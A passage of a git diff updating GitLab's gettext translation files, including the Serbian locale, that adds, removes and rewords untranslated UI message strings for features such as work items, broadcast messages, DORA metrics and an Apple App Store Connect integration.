+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44953,6 +45631,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45127,9 +45811,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -45196,10 +45877,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45367,10 +46048,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45562,6 +46240,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45574,9 +46255,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45646,6 +46324,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45742,6 +46423,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45775,6 +46459,9 @@ msgstr[2] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45787,6 +46474,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45811,9 +46501,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46546,10 +47233,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46999,9 +47686,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47089,6 +47788,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47098,7 +47800,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47131,7 +47833,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47185,6 +47887,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47206,6 +47914,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47311,6 +48025,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47443,9 +48160,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47536,6 +48250,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47575,9 +48292,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47593,7 +48307,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47686,7 +48400,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47716,6 +48430,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47833,6 +48550,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47986,8 +48706,11 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "YouTube"
msgstr ""
@@ -48226,6 +48949,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48253,7 +48979,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48331,6 +49057,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48535,6 +49264,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48775,10 +49507,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48934,9 +49669,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49429,9 +50161,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49951,6 +50680,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50038,12 +50770,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50464,6 +51190,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/sr_SP/gitlab.po b/locale/sr_SP/gitlab.po
index 80caf05c125..f13a1211967 100644
--- a/locale/sr_SP/gitlab.po
+++ b/locale/sr_SP/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -841,6 +841,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -913,6 +916,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1045,6 +1051,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1063,6 +1075,12 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1105,9 +1123,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1222,12 +1237,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1673,7 +1682,7 @@ msgstr[1] ""
msgstr[2] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -1903,6 +1912,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2047,9 +2059,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2098,9 +2107,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2260,7 +2266,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2338,6 +2344,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2716,15 +2725,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2806,9 +2818,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2836,6 +2857,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2890,6 +2917,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2959,6 +2989,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3133,9 +3169,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3427,7 +3463,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3472,6 +3508,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3730,6 +3769,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4372,9 +4414,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4543,15 +4582,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4585,9 +4615,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4840,6 +4867,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4984,9 +5023,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5077,6 +5113,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5221,6 +5260,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5776,6 +5818,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5791,12 +5836,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7372,9 +7423,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7972,6 +8107,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8083,13 +8221,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8374,6 +8509,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8533,12 +8671,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8722,6 +8854,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8848,6 +8983,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8950,12 +9088,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9622,21 +9766,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10126,6 +10255,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11020,6 +11152,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11413,6 +11548,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12310,6 +12448,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12334,6 +12475,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12346,7 +12490,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12367,6 +12514,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12388,6 +12541,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12406,6 +12565,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12427,6 +12595,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12436,6 +12610,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12451,9 +12628,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13372,11 +13546,11 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13444,6 +13618,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13828,9 +14005,15 @@ msgstr ""
